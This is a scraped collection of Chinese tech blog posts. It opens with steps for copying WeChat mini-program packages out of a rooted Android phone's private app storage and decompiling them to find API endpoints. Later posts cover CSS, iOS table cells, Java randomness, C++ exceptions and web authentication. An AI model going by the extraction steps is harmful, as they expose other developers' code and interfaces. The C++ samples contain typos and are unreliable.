-rw------- 1 u0_a239 u0_a239   427489 2021-12-25 09:37 _1245338104_171.wxapkg
-rw------- 1 u0_a239 u0_a239   258272 2021-12-25 09:35 _2106768478_171.wxapkg
-rw------- 1 u0_a239 u0_a239   745490 2021-12-25 09:35 _927440678_171.wxapkg

找到了目标文件之后,需要将其挪到电脑的目录下。mac环境下,可以下载一个Android文件传输工具,之后通过mv命令,将该文件移动到可访问的目录,即可拖到电脑目录下

mv /data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c/appbrand/pkg/_255193015_171.wxapkg  /mnt/sdcard/Download

注意:有些情况下是分包,需要删除pkg目录下所有文件,重新访问该小程序,之后将所有的wxapkg都移动出来

davinci:/data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c/appbrand # mv /data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c/appbrand/pkg/*  /mnt/sdcard/Download/wxpkg           

davinci:/mnt/sdcard/Download/wxpkg # ls
_-1223314631_171.wxapkg _-1820590985_171.wxapkg _-372062782_171.wxapkg _1123949441_612.wxapkg _255193015_171.wxapkg
_-1325581962_171.wxapkg _-1991183043_171.wxapkg _-86252332_171.wxapkg   _2041131240_171.wxapkg _453111957_171.wxapkg
_-1536422934_171.wxapkg _-289032338_171.wxapkg   _-942297262_171.wxapkg _2106768478_171.wxapkg _927440678_171.wxapkg

3.反编译

使用wxappUnpacker

# 安装依赖(具体参考下官方github)
npm install

node wuWxapkg.js /Users/spark/tools/安卓武器库/_255193015_171.wxapkg

忽略分包爆错,直接进去格式化一下js,Ctrl+F搜索接口

作者:Sp4rkW
来源:https://blog.csdn.net/wy_97/article/details/122155518

收起阅读 »

解决小程序里面的图片之间有空隙的问题

1、将图片转换为块级对象  即,设置img为:  display:block;  在本例中添加一组CSS代码:  #sub img {display:block;}2、设置图片的垂直对齐方式  即设置图片的vertical-align属性为“top,text-...
继续阅读 »

1、将图片转换为块级对象

  即,设置img为:

  display:block;

  在本例中添加一组CSS代码:

  #sub img {display:block;}

2、设置图片的垂直对齐方式

  即设置图片的vertical-align属性为“top,text-top,bottom,text-bottom”也可以解决。如本例中增加一组CSS代码:

  #sub img {vertical-align:top;}

3、设置父对象的文字大小为0px

  即,在#sub中添加一行:

  font-size:0;

  可以解决问题。但这也引发了新的问题,在父对象中的文字都无法显示。就算文字部分被子对象括起来,设置子对象文字大小依然可以显示,但在CSS效验的时候会提示文字过小的错误。

4、改变父对象的属性

  如果父对象的宽、高固定,图片大小随父对象而定,那么可以设置:

  overflow:hidden;

  来解决。如本例中可以向#sub中添加以下代码:

  width:88px;height:31px;overflow:hidden;

5、设置图片的浮动属性

  即在本例中增加一行CSS代码:

  #sub img {float:left;}

  如果要实现图文混排,这种方法是很好的选择。

6、取消图片标签和其父对象的最后一个结束标签之间的空格。

原文:https://blog.csdn.net/Function_JX_/article/details/79588578

收起阅读 »

【科幻】为何宇宙中有智能生命,基于量子退火的一种解释:“必然论”

原文链接: zhuanlan.zhihu.com之前在知乎写过一个宇宙层面的推理链条,类似"黑暗森林"的那种"纯靠推理猜测宇宙真相",也许能对人类和宇宙的目的给出一种解释。在这里略作整理,欢迎大家讨论。【公设1】宇宙遵循量子力学。例如,宇宙有 Lag...
继续阅读 »
原文链接: zhuanlan.zhihu.com

之前在知乎写过一个宇宙层面的推理链条,类似"黑暗森林"的那种"纯靠推理猜测宇宙真相",也许能对人类和宇宙的目的给出一种解释。在这里略作整理,欢迎大家讨论。

【公设1】宇宙遵循量子力学。

例如,宇宙有 Lagrangian,遵循路径积分。或者简化些,宇宙有波函数(忽略 t 在宇宙尺度上的微妙性),有 Hamiltonian,有"能量"。

通俗地说,路径积分的意思是:给定初态和末态,宇宙会找到概率大的演化路径(实际更类似找相位稳的路径,实际还更复杂,这里忽略细节),实现末态(不妨称为宇宙的目标)。

更通俗地说,就像量子退火,无论目标有多么遥远,宇宙都会逐渐找到办法降低自己的"能量"(实际更复杂,这里忽略细节),而且,宇宙找到的方案,一定非常高效,因为量子退火是一个强力的优化方法。

其实,训练深度神经网络的过程,已经告诉我们,在参数空间足够大时,梯度下降是很强的方法。而量子退火,比经典的梯度下降更强得多,宇宙的相空间更是非常巨大,所以宇宙尺度的量子退火,会非常非常强。

【公设2】宇宙的 Hamiltonian / Lagrangian,不仅包括现在的"标准模型"的微观的项目(各种微观粒子之间的耦合),还包括宇宙的大尺度的特性。

例如,维数(其实"标准模型"的项目,已经与维数有关)。

也可能包括更科幻的项目,例如"增大自己的尺寸"(吞并其它宇宙,等等),"分化出更多宇宙","尽快自我毁灭","完成某种循环","展现可能性","改变熵",等等。

具体是什么,不知道,不过,如果这里的理论是对的,那么,迟早有生命会知道,也许宇宙某处已经有生命知道了。

【公设3】智能生命有能力改造宇宙的大尺度的特性,就像降维升维之类。而且,由于智能生命有意识,所以,改造宇宙的速度,会相当快,比无生命的宇宙自己演化的速度更快。

可以这么比喻,无生命的宇宙完成目标,需要穿越很强的壁垒,而智能生命是催化剂,可以让宇宙快速完成目标。

【公设4】智能生命的进化和发展,也受量子力学的控制。

例如,某个基因应该如何变异,遵循量子规律,用拟人的语言说,宇宙对此有很强的"选择偏向"。

当然,量子的特点,是有误差,只要最终能达到类似的目标,宇宙不在意细节。偶然的倒退也不要紧。

【结论】

我们得到了一个有趣的结论:

宇宙会发现,在自己之中形成智能生命,然后让智能生命改造自己,是实现自己的目标的最佳方法。

换而言之,智能生命的出现和发展,不是偶然,是必然。

由于量子退火的高效,我们会发现,智能生命的形成和发展,会像是被看不见的手引导着一般,几乎每一次进化,每一个事件,都会走在接近正确的道路上,宛如神迹。宇宙的规律,就是看不见的手。

我一直感觉,虽然地球有46亿年,虽然宇宙有亿亿亿颗星,但人类还是出现得太快了。

如果只是以进化论的"尽可能传播自己"为目标,完全没必要进化出人类。用 AI 的语言说,这个"目标函数"太弱。

但是,如果宇宙的目标,需要科技极其发达的智能生命,那就不一样,这个目标函数非常非常强。

我的感觉是,即使在人类出现之后,人类的发展,有时看上去也有些"逢凶化吉",包括从前几乎走不出非洲,包括两次世界大战对于现在的和平发展做出了不可磨灭的贡献,包括冷战的过程。人类曾多次在毁灭的边缘,但都逃了过去,危险变成了历史,留给人类无数宝贵的经验和教训。当然,这些都可以用生存者偏差来解释,但仍然是很令人深思的。

【尾声】

这个理论,不妨称为"必然论"。它有很多有趣的推论,这就不用多说了,大家讨论比较有意思。

可能大家会问,这么看来,宇宙中是否应该到处都是生命?我觉得不一定。因为如果一种生命就足够完成目标,是没有必要进化出多种生命,毕竟,进化生命的过程,是"逆天"的过程(减熵)。

当然,也可能由于大家可以想象的原因,必须进化出多种生命。也可能,人类只是这个过程的一个阶段。人类不一定是"天选之族"。宇宙的目标也可能是很奇异的,而且现在我们也无法知道是否生存在模拟之中。总而言之,可以有很多有趣的推论。

收起阅读 »

漫话:如何给女朋友解释灭霸的指响并不是真随机"消灭"半数宇宙人口的?

周末,陪女朋友去电影院看了《复仇者联盟4:终局之战》,作为一个漫威粉三个小时看的是意犹未尽。出来之后,准备和女朋友聊一聊漫威这十年。在《复仇者联盟》电影中,灭霸毕生都有一个目标,那就是通过抹除一半的生命来维持宇宙的平衡。并且,灭霸还说,这个抹除过程是:随机性的...
继续阅读 »


周末,陪女朋友去电影院看了《复仇者联盟4:终局之战》,作为一个漫威粉三个小时看的是意犹未尽。出来之后,准备和女朋友聊一聊漫威这十年。

在《复仇者联盟》电影中,灭霸毕生都有一个目标,那就是通过抹除一半的生命来维持宇宙的平衡。

并且,灭霸还说,这个抹除过程是:随机性的、不夹私情、绝对公平、无论贵贱。

那么,到底什么是随机?他所谓的随机真的如他所说是不夹私情、绝对公平以及无论贵贱的吗?

随机性

随机性这个词是用来表达目的、动机、规则或一些非科学用法的可预测性的缺失。一个随机的过程是一个不定因子不断产生的重复过程。

提到随机性,不得不提的就是随机数,随机数在计算机应用中使用的比较广泛,最为熟知的便是在通信安全和现代密码学等领域中的应用。

随机数分为真随机数和伪随机数,我们程序中使用的基本都是伪随机数。

  • 真随机数,通过物理实验得出,比如掷钱币、骰子、转轮、使用电子元件的噪音、核裂变等。需要满足随机性、不可预测性、不可重现性。

  • 伪随机数,通过一定算法和种子得出。软件实现的是伪随机数。

只要这个随机数是由确定算法生成的,那就是伪随机。只能通过不断算法优化,使你的随机数更接近随机。

有限状态机不能产生真正的随机数的。所以,现代计算机中,无法通过一个纯算法来生成真正的随机数。无论是哪种语言,单纯的算法生成的数字都是伪随机数,都是由可确定的函数通过一个种子,产生的伪随机数。

为啥灭霸并不公平?

前面我们提到过,真随机数要满足随机性、不可预测性、不可重现性。

我们按照这三个性质逐一分析下,看看灭霸到底是不是公平的。

随机性

随机性,指的是不存在统计学偏差,是完全杂乱的数列。

复联3中,灭霸打了指响之后,复仇者联盟中存活和死亡的名单其实并不是随机的。其中很多对CP都是杀1留1的。如钢铁侠——蜘蛛侠、美队——冬兵、火箭浣熊——格鲁特、蚁人——黄蜂女等。

而且,还有一点就是,如果真的是随机性的话,那么灭霸自己也是有一定的概率会被抹除的,但是,他早就知道自己不会被抹除,并且已经制定好了退休计划。

并且,在复联3中,奇异博士用时间宝石和灭霸换了钢铁侠的生命,说明灭霸其实是选择性的进行抹除的。

可见,灭霸的指响抹除过程并不是随机的。

不可预测性

不可预测性,指的是不能从过去的数列推测出下一个出现的数。

这一点了解电影的朋友应该都知道,奇异博士曾经利用时间宝石穿越了时空,预测了未来,并看到了14000605种可能。

可见,灭霸的指响抹除过程并不是不可预测的。

不可重现性

不可重现性,除非将数列本身保存下来,否则不能重现相同的数列。

在复联3中,钢铁侠问奇异博士,14000605种可能中,胜利的有多少种。奇异博士回答:1种。

在复联4中,最后奇异博士对钢铁侠比了下面这样一个手势。说明,他看到的那唯一一种胜利的可能要复现了。

可见,灭霸的指响抹除过程并不是不可复现的。

综上,灭霸的指响抹除过程不符合随机性、不可预测性以及不可复现性。所以,灭霸的指响抹除过程并不是真正的随机的。

通过现象来看,灭霸的抹除操作很可能只是通过简单的分层抽样实现的。简单操作过程如下:

  • 1、把需要特殊处理,不做抹除的人的DNA单独从所有物种的DNA库中识别出来,并保存到缓存中。

  • 2、根据不同的条件把DNA库中的所有生命体划分成若干区块,如地球人、阿斯加德人等。把他们的DNA信息保存到不同的数据库中。在遍历的过程中,如果遇到缓存中已有的数据,则跳过。

  • 3、再根据物种多样性,如性别、年龄段、职业等把同一个分库中的数据分别划分到不同的表中,保证每一张分表中都包含了完整的物种多样性。

  • 4、遍历所有数据库,按顺序的删除每个数据库中一半的分表。如地球人的数据库中共有1024张表,只保留512张即可。

  • 5、再把缓存中的数据同步到数据库中。

这样,在后面需要复活这些人的时候,只需要找到数据库的Binlog,把数据重新写入数据库就行了。

真随机数生成器

真正的随机数是使用物理现象产生而不是计算机程序产生的。生成随机数的设备我们称之为真随机数生成器。

这样的设备通常是基于一些能生成低等级、统计学随机的“噪声”信号的微观现象,如热力学噪声、光电效应和量子现象。

从某种程度上来说,基于经典热噪声的随机数芯片读取当前物理环境中的噪声,并据此获得随机数。这类装置相对于基于软件算法的实现,由于环境中的变量更多,因此更难预测。

然而在牛顿力学的框架下,即使影响随机数产生的变量非常多,但在每个变量的初始状态确定后,整个系统的运行状态及输出在原理上是可以预测的,因此这一类装置也是基于确定性的过程,只是某种更难预测的伪随机数。

但是,量子力学的发现从根本上改变了这一局面,因为其基本物理过程具有经典物理中所不具有的内禀随机性,从而可以制造出真正的随机数产生器。

据美国国家标准与技术研究院(NIST)官网消息,该机构研究人员在2018年4月出版的《自然》杂志上撰文指出,他们开发出一种新方法,可生成由量子力学保证的随机数字。新技术超越了此前获得随机数字的所有方法,得到了“真正的随机数字”,有助增强密码系统的安全性。(原文地址:https://www.nature.com/articles/s41586-018-0019-0.epdf )

NIST数学家彼特·比尔霍斯特进一步解释说:“诸如翻转硬币之类的情况似乎是随机的,但如果能看到硬币确切的下落路径,最终结果也是可以预测的。因此,很难保证给定经典来源真正不可预测。量子力学在产生随机性方面表现更好,量子随机是真正的随机,因为对处于‘叠加’状态的量子粒子进行测量,得到的结果基本上是不可预测的。”

在复联4中,也有很多和量子物理有关的知识,甚至最终可以扭转乾坤也是依靠的量子领域。漫威电影的宗旨可以高度概括成以下四句话:遇事不决,量子力学。 解释不通,穿越时空。 篇幅不够,平行宇宙。 定律不足,高维人族。

Java中的随机数生成器

Java中生成随机数还是比较简单的,Java提供了很多种API可以供开发者使用。

通过时间获取

在Java中,可以通过System.currentTimeMillis()来获取当前时间毫秒数:

final long l = System.currentTimeMillis();

若要获取指定范围的数字,只需要对数字进行取模就行了,如下方法可以获得0-99的随机数:

final long l = System.currentTimeMillis();
final int i = (int)( l % 100 );

Math.random()

通过Math.random()可以返回0(包含)到1(不包含)之间的double值。使用方法如下:

final double d = Math.random();

若要获取int类型的整数,只需要将上面的结果转行成int类型即可。比如,获取[0, 100)之间的int整数。方法如下:

final double d = Math.random();
final int i = (int)(d*100);

Random类

Java提供的伪随机数发生器有java.util.Random类和java.util.concurrent.ThreadLocalRandom类。

Random类采用AtomicLong实现,保证多线程的线程安全性,但正如该类注释上说明的,多线程并发获取随机数时性能较差。

多线程环境中可以使用ThreadLocalRandom作为随机数发生器,ThreadLocalRandom采用了线程局部变量来改善性能,这样就可以使用long而不是AtomicLong,此外,ThreadLocalRandom还进行了字节填充,以避免伪共享。

如使用Random获取[0, 100)之间的int整数,方法如下:

Random random = new Random();
int i2 = random.nextInt(100);

强随机数发生器

强随机数发生器依赖于操作系统底层提供的随机事件。强随机数生成器的初始化速度和生成速度都较慢,而且由于需要一定的熵累积才能生成足够强度的随机数,所以可能会造成阻塞。熵累积通常来源于多个随机事件源,如敲击键盘的时间间隔,移动鼠标的距离与间隔,特定中断的时间间隔等。所以,只有在需要生成加密性强的随机数据的时候才用它。

Java提供的强随机数发生器是java.security.SecureRandom类,该类也是一个线程安全类,使用synchronize方法保证线程安全,但jdk并没有做出承诺在将来改变SecureRandom的线程安全性。因此,同Random一样,在高并发的多线程环境中可能会有性能问题。

这个锅,研发人员不背!!!

根据我的猜想。对于无限手套这个产品,产品经理最初的需求可能只是满足使用者的一个愿望而已,而几颗宝石就像是七龙珠一样,集齐之后打个指响就可以实现愿望。

开发者只是提供了一个可以满足愿望的API接口,参数是一个Callback,具体做什么事情,完全是使用者传进来的想法而已。就像灭霸要抹除一半的生命、绿巨人想要把被抹掉的人救回来、而钢铁侠只是想把坏人抹掉而已。

最后,Tony, Love You 3000 Times.

收起阅读 »

黑科技- iOS静态cell和动态cell结合使用

iOS
1. 什么是静态Cell。 静态cell,可以直接布局cell样式的、group、insert group等直接拖@IBOutlet 布局简单,实用,比如我们同一类型的登陆、密码、设置、WIFI等页面 2. 怎么使用静态Cell。 必须使用StoryBo...
继续阅读 »

1. 什么是静态Cell。



  • 静态cell,可以直接布局cell样式的、group、insert group等直接拖@IBOutlet

  • 布局简单,实用,比如我们同一类型的登陆、密码、设置、WIFI等页面


2. 怎么使用静态Cell。



  • 必须使用StoryBoard来创建UITableViewController

  • image-20210823133103767.png

  • 然后你就可以直接使用cell的布局,运行出来就是StoryBoard的布局

  • image-20210823133226364.png

  • 运行以后的效果

  • image-20210823133337424.png


3. 和动态Cell结合。



  • 如例子:Wi-Fi的截图,我的网络和其他网络可以用动态cell来创建、其他的都可以直接用静态cell来创建


image-20210823132756571.png


使用步骤:




  1. 先在StoryBoard创建静态的cell,需要复用的cell留出一个位置即可

  2. 复用的cell必须单独创建(或者使用单独的xib文件)

  3. 这使用的时候,必须注册cell

  4. 动态的cell必须实现UITableViewDelegate的indentationLevelForRowAt这个方法

  5. 在这个方法里indentationLevelForRowAt返回第一个这StoryBoard留出位置的cell的indexPath


详情请看下列代码实现;



image-20210823133226364.png


第二个section 留白的就是给动态cell实现的


image-20210823134208316.png


创建一个xib的动态cell实现(可复用)


// 注册Cell
tableView.register(UINib(nibName: "CostomTableViewCell", bundle: nil), forCellReuseIdentifier: "CostomTableViewCell")


override func tableView(_ tableView: UITableView, indentationLevelForRowAt indexPath: IndexPath) -> Int {
   if indexPath.section == 1 {
       return super.tableView(tableView, indentationLevelForRowAt: IndexPath(row: 0, section: 1))
   }
   return super.tableView(tableView, indentationLevelForRowAt: indexPath)
}


实现indentationLevelForRowAt方法,返回IndexPath(row: 0, section: 1)第一section 的第一个row,其他不需要复用的自己返回父类即可


override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
   if indexPath.section == 1 {
       let cell = tableView.dequeueReusableCell(withIdentifier: "CostomTableViewCell", for: indexPath) as! CostomTableViewCell
       cell.dynamic.text = "dynamicRow:(dynamicRowArray[indexPath.row])"
       return cell
   }
   return  super.tableView(tableView, cellForRowAt: indexPath)
}

在cellForRowAt复用里写已经要实现的复用的cell,其他静态cell直接返回父类即可


最终实现的效果


image-20210823134654515.png


4. Row、Section使用的技巧,以及常出现的问题。



  • 如果复用的是row,直接实现indentationLevelForRowAt这个方法和cellForRowAt方法即可 必须实现,不然会崩溃

  • 但是如果是复用的section,就必须实现UITableViewDataSource的和数据源相关的方法以下的几个方法


// 自定义动态section 的时候,以下方法必须实现,否则会崩溃
override func tableView(_ tableView: UITableView, viewForHeaderInSection section: Int) -> UIView? {
   nil
}

override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {
   nil
}

override func tableView(_ tableView: UITableView, viewForFooterInSection section: Int) -> UIView? {
   nil
}

override func tableView(_ tableView: UITableView, titleForFooterInSection section: Int) -> String? {
   nil
}

override func tableView(_ tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat {
   5
}

override func tableView(_ tableView: UITableView, heightForFooterInSection section: Int) -> CGFloat {
   .leastNonzeroMagnitude
}



  • 默认情况下会调用父类的数据,静态cell是不实现这些方法是越界的


注意事项:



  1. indentationLevelForRowAt 这个方法是动态和静态结合必须实现的方法

  2. Row、Section所需要实现的方法有差别,当是Section的时候需要实现与section相关的代理和数据源,例如sectionHeaderView、Footer等

  3. 动态cell一定要在storyboard里留白,自定义需要复用的cell必须使用xib、或者自定义,不能在原有的storyboard里创建

  4. 如果遇到崩溃,大多数是因为数据越界,数据源的问题,如果以上都实现,基本是没有问题的


Demo地址


作者:芭菲猫
链接:https://juejin.cn/post/6999504422065831943

收起阅读 »

std::out_of_range异常

iOS
使用C++容器类访问成员时由于使用问题可能会遇到"terminate called after throwing an instance of 'std::out_of_range'"或者"Abort message: 'terminating with un...
继续阅读 »

使用C++容器类访问成员时由于使用问题可能会遇到"terminate called after throwing an instance of 'std::out_of_range'"或者"Abort message: 'terminating with uncaught exception of type std::out_of_range"。问题的大概意思是:访问越界了。没有捕获std::out_of_range类型的异常终止。

通常在使用vector、map这样的C++容器类型时会遇到,这里我们以map类型为例,加以说明。

std::out_of_range异常的描述

假设我们定义了一个map类型的变量g_mapIsDestroyedRefCount,要访问容器中的数据项有多种方式。例如,获取g_mapIsDestroyedRefCount中key值为cameraId的值,可以这样:

  1. g_mapIsDestroyedRefCount[cameraId]
  2. g_mapIsDestroyedRefCount.at(cameraId)

两种写法都可以获取key为cameraId的value,一般效果看不出来差别,但是当g_mapIsDestroyedRefCount中不存在key为cameraId的<key, value>时就会出现“std::out_of_range”访问越界问题。

导致std::out_of_range的原因

容器类型访问方法使用有问题

对于std::map::at官方声明:

  mapped_type& at (const key_type& k);
const mapped_type& at (const key_type& k) const;

对于std::map::at使用有如下说明: Access element        访问元素

Returns a reference to the mapped value of the element identified with key k.      返回元素键为k的映射值的引用,即Key为k的元素的对应value值。
If k does not match the key of any element in the container, the function throws an out_of_range exception.   如果容器中没有匹配的k键,该函数将抛出一个out_of_range异常

 

std::map::at的使用

  • 正确使用
  • 错误使用

1.std::map::at的正确使用

 

#include <iostream>
#include <string>
#include <map>

std
::map<int, int> g_mapIsDestroyedRefCount;

int main()
{
int cameraId = 1;
cout
<< "Let's try"<< endl;

//向map中添加测试数据
g_mapIsDestroyedRefCount
.insert(std::pair<int, int>(0, 2))'
cout << "cameraId:"<< cameraId<< "count:";
try {
cout<< g_mapIsDestroyedRefCount.at(cameraId) <<endl;
} catch (const std::out_of_range& oor) {
std::cerr << "\nOut of range error:" << oor.what()<< endl;
}
cout << "try done"<< endl;
return 0;
}

 

运行结果:

 

2.std::map::at错误使用

#include <iostream>
#include <string>
#include <map>
using namespace std;

std
::map<int, int> g_mapIsDestroyedRefCount;

int main()
{
int cameraId = 2;

cout
<< "Let's try"<< endl;
g_mapIsDestroyedRefCount
.insert(std::pair<int, int>(0, 2));
cout
<< "cameraId:"<< cameraId<< "count:";

//介绍中说的方法一,可以访问
cout
<< g_mapIsDestroyedRefCount[cameraId]<< endl;
//方法二,异常
cameraId = 2;
count
<< g_mapIsDestroyedRefCount.at(cameraId)<< endl;
cout<< "try done"<< endl;
}

运行结果:(程序异常退出)


收起阅读 »

傻傻分不清之 Cookie、Session、Token、JWT

什么是认证(Authentication)通俗地讲就是验证当前用户的身份,证明“你是你自己”(比如:你每天上下班打卡,都需要通过指纹打卡,当你的指纹和系统里录入的指纹相匹配时,就打卡成功)互联网中的认证:用户名密码登录邮箱发送登录链接手机号接收验证码只要你能收...
继续阅读 »



什么是认证(Authentication)

  • 通俗地讲就是验证当前用户的身份,证明“你是你自己”(比如:你每天上下班打卡,都需要通过指纹打卡,当你的指纹和系统里录入的指纹相匹配时,就打卡成功)

  • 互联网中的认证:

    • 用户名密码登录

    • 邮箱发送登录链接

    • 手机号接收验证码

    • 只要你能收到邮箱/验证码,就默认你是账号的主人

什么是授权(Authorization)

  • 用户授予第三方应用访问该用户某些资源的权限

    • 你在安装手机应用的时候,APP 会询问是否允许授予权限(访问相册、地理位置等权限)

    • 你在访问微信小程序时,当登录时,小程序会询问是否允许授予权限(获取昵称、头像、地区、性别等个人信息)

  • 实现授权的方式有:cookie、session、token、OAuth

什么是凭证(Credentials)

  • 实现认证和授权的前提

    是需要一种

    媒介(证书)

    来标记访问者的身份

    • 在战国时期,商鞅变法,发明了照身帖。照身帖由官府发放,是一块打磨光滑细密的竹板,上面刻有持有人的头像和籍贯信息。国人必须持有,如若没有就被认为是黑户,或者间谍之类的。

    • 在现实生活中,每个人都会有一张专属的居民身份证,是用于证明持有人身份的一种法定证件。通过身份证,我们可以办理手机卡/银行卡/个人贷款/交通出行等等,这就是认证的凭证。

    • 在互联网应用中,一般网站(如掘金)会有两种模式,游客模式和登录模式。游客模式下,可以正常浏览网站上面的文章,一旦想要点赞/收藏/分享文章,就需要登录或者注册账号。当用户登录成功后,服务器会给该用户使用的浏览器颁发一个令牌(token),这个令牌用来表明你的身份,每次浏览器发送请求时会带上这个令牌,就可以使用游客模式下无法使用的功能。

什么是 Cookie

  • HTTP 是无状态的协议(对于事务处理没有记忆能力,每次客户端和服务端会话完成时,服务端不会保存任何会话信息):每个请求都是完全独立的,服务端无法确认当前访问者的身份信息,无法分辨上一次的请求发送者和这一次的发送者是不是同一个人。所以服务器与浏览器为了进行会话跟踪(知道是谁在访问我),就必须主动的去维护一个状态,这个状态用于告知服务端前后两个请求是否来自同一浏览器。而这个状态需要通过 cookie 或者 session 去实现。

  • cookie 存储在客户端: cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。

  • cookie 是不可跨域的: 每个 cookie 都会绑定单一的域名,无法在别的域名下获取使用,一级域名和二级域名之间是允许共享使用的靠的是 domain)

cookie 重要的属性

属性说明
name=value键值对,设置 Cookie 的名称及相对应的值,都必须是字符串类型 - 如果值为 Unicode 字符,需要为字符编码。 - 如果值为二进制数据,则需要使用 BASE64 编码。
domain指定 cookie 所属域名,默认是当前域名
path指定 cookie 在哪个路径(路由)下生效,默认是 '/'。 如果设置为 /abc,则只有 /abc 下的路由可以访问到该 cookie,如:/abc/read
maxAgecookie 失效的时间,单位秒。如果为整数,则该 cookie 在 maxAge 秒后失效。如果为负数,该 cookie 为临时 cookie ,关闭浏览器即失效,浏览器也不会以任何形式保存该 cookie 。如果为 0,表示删除该 cookie 。默认为 -1。 - 比 expires 好用
expires过期时间,在设置的某个时间点后该 cookie 就会失效。 一般浏览器的 cookie 都是默认储存的,当关闭浏览器结束这个会话的时候,这个 cookie 也就会被删除
secure该 cookie 是否仅被使用安全协议传输。安全协议有 HTTPS,SSL等,在网络上传输数据之前先将数据加密。默认为false。 当 secure 值为 true 时,cookie 在 HTTP 中是无效,在 HTTPS 中才有效。
httpOnly如果给某个 cookie 设置了 httpOnly 属性,则无法通过 JS 脚本 读取到该 cookie 的信息,但还是能通过 Application 中手动修改 cookie,所以只是在一定程度上可以防止 XSS 攻击,不是绝对的安全


什么是 Session

  • session 是另一种记录服务器和客户端会话状态的机制

  • session 是基于 cookie 实现的,session 存储在服务器端,sessionId 会被存储到客户端的cookie 中

session.png

  • session 认证流程:

    • 用户第一次请求服务器的时候,服务器根据用户提交的相关信息,创建对应的 Session

    • 请求返回时将此 Session 的唯一标识信息 SessionID 返回给浏览器

    • 浏览器接收到服务器返回的 SessionID 信息后,会将此信息存入到 Cookie 中,同时 Cookie 记录此 SessionID 属于哪个域名

    • 当用户第二次访问服务器的时候,请求会自动判断此域名下是否存在 Cookie 信息,如果存在自动将 Cookie 信息也发送给服务端,服务端会从 Cookie 中获取 SessionID,再根据 SessionID 查找对应的 Session 信息,如果没有找到说明用户没有登录或者登录失效,如果找到 Session 证明用户已经登录可执行后面操作。

根据以上流程可知,SessionID 是连接 Cookie 和 Session 的一道桥梁,大部分系统也是根据此原理来验证用户登录状态。

Cookie 和 Session 的区别

  • 安全性: Session 比 Cookie 安全,Session 是存储在服务器端的,Cookie 是存储在客户端的。

  • 存取值的类型不同:Cookie 只支持存字符串数据,想要设置其他类型的数据,需要将其转换成字符串,Session 可以存任意数据类型。

  • 有效期不同: Cookie 可设置为长时间保持,比如我们经常使用的默认登录功能,Session 一般失效时间较短,客户端关闭(默认情况下)或者 Session 超时都会失效。

  • 存储大小不同: 单个 Cookie 保存的数据不能超过 4K,Session 可存储数据远高于 Cookie,但是当访问量过多,会占用过多的服务器资源。

什么是 Token(令牌)

Acesss Token

  • 访问资源接口(API)时所需要的资源凭证

  • 简单 token 的组成: uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign(签名,token 的前几位以哈希算法压缩成的一定长度的十六进制字符串)

  • 特点:

    • 服务端无状态化、可扩展性好

    • 支持移动端设备

    • 安全

    • 支持跨程序调用

  • token 的身份验证流程:

img

  1. 客户端使用用户名跟密码请求登录

  2. 服务端收到请求,去验证用户名与密码

  3. 验证成功后,服务端会签发一个 token 并把这个 token 发送给客户端

  4. 客户端收到 token 以后,会把它存储起来,比如放在 cookie 里或者 localStorage 里

  5. 客户端每次向服务端请求资源的时候需要带着服务端签发的 token

  6. 服务端收到请求,然后去验证客户端请求里面带着的 token ,如果验证成功,就向客户端返回请求的数据

  • 每一次请求都需要携带 token,需要把 token 放到 HTTP 的 Header 里

  • 基于 token 的用户认证是一种服务端无状态的认证方式,服务端不用存放 token 数据。用解析 token 的计算时间换取 session 的存储空间,从而减轻服务器的压力,减少频繁的查询数据库

  • token 完全由应用管理,所以它可以避开同源策略

Refresh Token

  • 另外一种 token——refresh token

  • refresh token 是专用于刷新 access token 的 token。如果没有 refresh token,也可以刷新 access token,但每次刷新都要用户输入登录用户名与密码,会很麻烦。有了 refresh token,可以减少这个麻烦,客户端直接用 refresh token 去更新 access token,无需用户进行额外的操作。

img

  • Access Token 的有效期比较短,当 Acesss Token 由于过期而失效时,使用 Refresh Token 就可以获取到新的 Token,如果 Refresh Token 也失效了,用户就只能重新登录了。

  • Refresh Token 及过期时间是存储在服务器的数据库中,只有在申请新的 Acesss Token 时才会验证,不会对业务接口响应时间造成影响,也不需要向 Session 一样一直保持在内存中以应对大量的请求。

Token 和 Session 的区别

  • Session 是一种记录服务器和客户端会话状态的机制,使服务端有状态化,可以记录会话信息。而 Token 是令牌访问资源接口(API)时所需要的资源凭证。Token 使服务端无状态化,不会存储会话信息。

  • Session 和 Token 并不矛盾,作为身份认证 Token 安全性比 Session 好,因为每一个请求都有签名还能防止监听以及重放攻击,而 Session 就必须依赖链路层来保障通讯安全了。如果你需要实现有状态的会话,仍然可以增加 Session 来在服务器端保存一些状态。

  • 所谓 Session 认证只是简单的把 User 信息存储到 Session 里,因为 SessionID 的不可预测性,暂且认为是安全的。而 Token ,如果指的是 OAuth Token 或类似的机制的话,提供的是 认证 和 授权 ,认证是针对用户,授权是针对 App 。其目的是让某 App 有权利访问某用户的信息。这里的 Token 是唯一的。不可以转移到其它 App上,也不可以转到其它用户上。Session 只提供一种简单的认证,即只要有此 SessionID ,即认为有此 User 的全部权利。是需要严格保密的,这个数据应该只保存在站方,不应该共享给其它网站或者第三方 App。所以简单来说:如果你的用户数据可能需要和第三方共享,或者允许第三方调用 API 接口,用 Token 。如果永远只是自己的网站,自己的 App,用什么就无所谓了。

什么是 JWT

  • JSON Web Token(简称 JWT)是目前最流行的跨域认证解决方案。

  • 是一种认证授权机制

  • JWT 是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准(RFC 7519)。JWT 的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源。比如用在用户登录上。

  • 可以使用 HMAC 算法或者是 RSA 的公/私秘钥对 JWT 进行签名。因为数字签名的存在,这些传递的信息是可信的。

  • 阮一峰老师的 JSON Web Token 入门教程 讲的非常通俗易懂,这里就不再班门弄斧了

生成 JWT

jwt.io/
http://www.jsonwebtoken.io/

JWT 的原理

img

  • JWT 认证流程:

    • 用户输入用户名/密码登录,服务端认证成功后,会返回给客户端一个 JWT

